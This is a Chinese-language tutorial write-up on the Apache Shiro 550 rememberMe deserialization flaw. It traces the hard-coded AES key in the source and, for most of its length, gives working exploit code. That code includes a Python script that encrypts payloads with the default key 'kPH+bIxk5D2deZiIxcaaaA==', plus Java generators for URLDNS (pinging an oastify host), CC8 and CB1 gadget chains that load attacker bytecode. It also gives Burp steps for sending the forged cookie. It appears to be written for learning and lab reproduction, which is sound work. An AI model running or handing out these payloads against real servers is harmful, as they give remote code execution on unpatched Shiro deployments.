shiro550反序列化

参考链接

https://www.bilibili.com/video/BV1iF411b7bD

环境搭建

搭环境看的这位师傅的,有图有步骤,爱了。
https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/

漏洞原理

摘要

shiro550在hvv的时候就有所耳闻,每次看一个Java站都要看看有没有rememberMe
一句话说这个洞:就是rememberMe传了个经过AES加密+Base64的序列化字符串,但是Shiro里这个密钥是固定的,那我们用同样的密钥加密和Base64,传恶意的序列化字符串,后台反序列化就会被打了。

image.png

挖洞思路

尝试复现漏洞发现者,最初发现这个洞时的思路。
首先,抓包看到Cookie里的rememberMe有一大串,一般来说不会有这么多,于是猜测可能是传了序列化的对象
idea里双击”shift”,搜索”cookie”,找到CookieRememberMeManager这个类

image.png

然后发现有两个函数带了remember字样,很可能是要找的函数

image.png

看注释,发现getRememberedSerializedIdentity是对Cookie里的rememberMe的值进行Base64解码的

image.png

我们的目的是探索这个字段是否可反序列化,接下来看谁调用了getRememberedSerializedIdentity,目的是看看base64解码之后,下一步是干什么。
这里可以看到,抽象父类的getRememberedPrincipals方法调了getRememberedSerializedIdentity

image.png

继续看getRememberedSerializedIdentity,发现它把字符串base64decode后,把结果传到了convertBytesToPrincipals这个函数里

image.png

再跟进convertBytesToPrincipals这个函数,发现里边有个decrypt()函数,这显然是在对字符串解密
在字符串解密之后,直接传到deserialize()函数里,参与反序列化!
image.png
下面看它怎么解密的,跟进decrypt,注意到这里有个获取解密密钥的函数
image.png
跟进去getDecryptionCipherKey,他是直接返回AbstractRememberMeManager的decryptionCipherKey属性

image.png

下面找找哪里给decryptionCipherKey赋值了,idea小技巧,”value write”里都是赋值函数
这里找到setDecryptionCipherKey()函数,它把传入的参数赋值给decryptionCipherKey,但是没写参数哪来的
image.png
再找谁调用了setDecryptionCipherKey(),找到了setCipherKey()函数,这里还是没写参数哪来的
image.png
再往上找,终于找到了,默认的密钥就是这个DEFAULT_CIPHER_KEY_BYTES
image.png
看注释,可以看到Shiro在这里采用AES+Base64来加密我们序列化之后的字符串
问题也就出在这,他这里把对称加密的密钥写死了,知道密钥,AES加密就相当于没有
我们按照它的构造规则,先AES再Base64,就可以打它的反序列化了。
image.png

漏洞利用

根据组长的视频,讲了三种利用方式:

  • URLDNS链:JDK自带,不需要依赖,但是只能SSRF,不能RCE
  • CC8链:CC2+CC6,需要用到Commons Collections3,能RCE
  • CB1链:Shiro自带CB依赖,能直接RCE

cookie加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# -*-* coding:utf-8
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/

# 同目录下放已经反序列化的文件object.ser,通过AES和BASE64加密生成rememberMe的cookie

from email.mime import base
from pydoc import plain
import sys
import base64
import uuid
from random import Random
from Cryptodome.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext


if __name__ == "__main__":
data = get_file_data("object.ser")
print(aes_enc(data))

URLDNS

这条链很短,跟过之前的链子,再回过头看真的很简单,这里直接上Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap<URL,Object> hashMap = new HashMap<>();
URL url = new URL("http://fbuj4kl1p0zk9fwg0my69sta319sxold.oastify.com");
setFieldValue(url,"hashCode",2);
hashMap.put(url,2);
setFieldValue(url,"hashCode",-1);
serialize(hashMap);
// unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

把生成的序列化字符串文件object.ser,放到cookie加密脚本同目录下,然后运行脚本生成cookie:
image.png
burp抓包,更换rememberMe字段cookie,打过去,注意要删掉多余的JSESSIONID,这和代码流程有关
image.png
burp的collaborator模块,狂点Poll now,就能够接收到请求记录
image.png

CC8

这个要加Commons Collections3的依赖,因为Shiro本身并不带Commons Collections3,test的不算

image.png

加了CC3的依赖,按理说应该每条CC3的链子我们都能打通,但是当我们尝试用CC6去打的时候会有以下报错
image.png
意思是无法加载Transomer数组这个类,这意味着我们没办法用ChainedTransformer类了,而不用chainedTransformer数组的链子,很容易想到CC2的特点,代码执行+不用数组
尝试编写Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class TestCC8 {
public static void main(String[] args) throws Exception{
// CC2部分
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
setFieldValue(templates,"_name","jasper");
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// _tfactory是,想提前调用链条的时候设置的;反序列化的会自己赋值,可以注释掉
// setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//用invokerTransformer触发newTransformer = =
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
// invokerTransformer.transform();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这样一来就没有用数组,另外把问题转化成调用xxx.transform()了,这里用CC6的后半段就好
注意: “key2”改成templates,chainedTransformer改成invokerTransformer
完整Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
public class TestCC8 {
// CC2+CC6 实现不使用Transform数组,并且代码执行
public static void main(String[] args) throws Exception{
// CC2
TemplatesImpl templates = new TemplatesImpl();
//设置变量,确保函数流程走通
setFieldValue(templates,"_name","jasper");
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// _tfactory是,想提前调用链条的时候设置的,反序列化的时候可以注释掉,它会在反序列化的时候自己赋值
// setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// 用invokerTransformer触发newTransformer
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
// invokerTransformer.transform();

// CC6部分
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
//修改链子,避免put的时候自己电脑老执行命令
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1));
// lazyMap.get("Jasper");
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
// tiedMapEntry.getValue();
// tiedMapEntry.hashCode();
// Class clazz = Class.forName("java.util.HashMap");
// Method hashMethod = clazz.getDeclaredMethod("hash", Object.class);
// hashMethod.setAccessible(true);
// hashMethod.invoke(clazz,tiedMapEntry);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"Jasper");
//把链子改回来
setFieldValue(lazyMap,"factory",invokerTransformer);
//绕过IF判断,调用Transform
lazyMap.remove(templates);
serialize(hashMap1);
// unserialize();

}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image.png

CB1

CB1链是完全只需要Shiro自带依赖,就可以打通的链子,用到的模块是Commons BeanUtils
这个模块有个PropertyUtils.getProperty()可以根据传参调用对应的getter方法
image.png
在CC3的TemplatesImpl#newTransformer()里提到,调用newTransformer的还有getOutputProperties这个方法,换言之通过getOutputProperties也可代码执行,尝试编写Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class TestCB1 {
// 参考CC3和CC4
public static void main(String[] args) throws Exception{
// JavaBean bean = new JavaBean();
// System.out.println("name = "+ PropertyUtils.getProperty(bean,"name"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Jasper");
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTrnasformer()看一眼效果,就要设置_tfactory
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
templates.getOutputProperties();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image.png
那么又因为PropertyUtils.getProperty()可以调用任意getter方法,尝试一下调用getOutputProperties()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class TestCB1 {
// 参考CC3和CC4
public static void main(String[] args) throws Exception{
// JavaBean bean = new JavaBean();
// System.out.println("name = "+ PropertyUtils.getProperty(bean,"name"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Jasper");
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// _tfactory在反序列化的时候会自己赋值,但是如果想调用触发函数templates.newTrnasformer()看一眼效果,就要设置_tfactory
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
templates.getOutputProperties();
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image.png
接下来,开始找谁调用了getProperty,这里发现了BeanComparator#compare,很符合我们要求
image.png
看到compare就很熟悉,在CC4的priorityQueue这个入口类里,我们用到过compare来触发xxx.transform
在CB1链里,我们只需要使用priorityQueue反序列化时,会调用到compare这个特性即可
注意:下面的add会提前触发链条,这里选择先add,再通过反射设置属性,保证链子不被破坏。
最终Exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public class TestCB1 {
// 参考CC3和CC4
public static void main(String[] args) throws Exception{
// JavaBean bean = new JavaBean();
// System.out.println("name = "+ PropertyUtils.getProperty(bean,"name"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","Jasper");
byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
byte[][] codes = {code};
setFieldValue(templates,"_bytecodes",codes);
// 提前触发链条看效果,就要设置_tfactory
// setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.newTransformer();
// templates.getOutputProperties();
// PropertyUtils.getProperty(templates,"outputProperties");

BeanComparator beanComparator = new BeanComparator();
// setFieldValue(beanComparator,"property","outputProperties");
// beanComparator.compare(templates,templates);

// // add会提前触发链条,这里选择先提前add,再统一传参
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);
// // 统一传参,防止链条被破坏
setFieldValue(priorityQueue,"queue",new TemplatesImpl[]{templates,templates});
setFieldValue(beanComparator,"property","outputProperties");
//
serialize(priorityQueue);
// unserialize();

}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);

System.out.println("序列化完成...");
}

public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();

System.out.println("反序列化完成...");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

image.png

总结

shiro550这个洞,就是反序列化套了一层AES加密,AES密钥已知的基础上,本质就是一个简单的反序列化漏洞。
感觉更多的是考察在Shiro的依赖条件下,要怎么RCE,通过这个洞学到了URLDNS、CC8、CB1三条链子。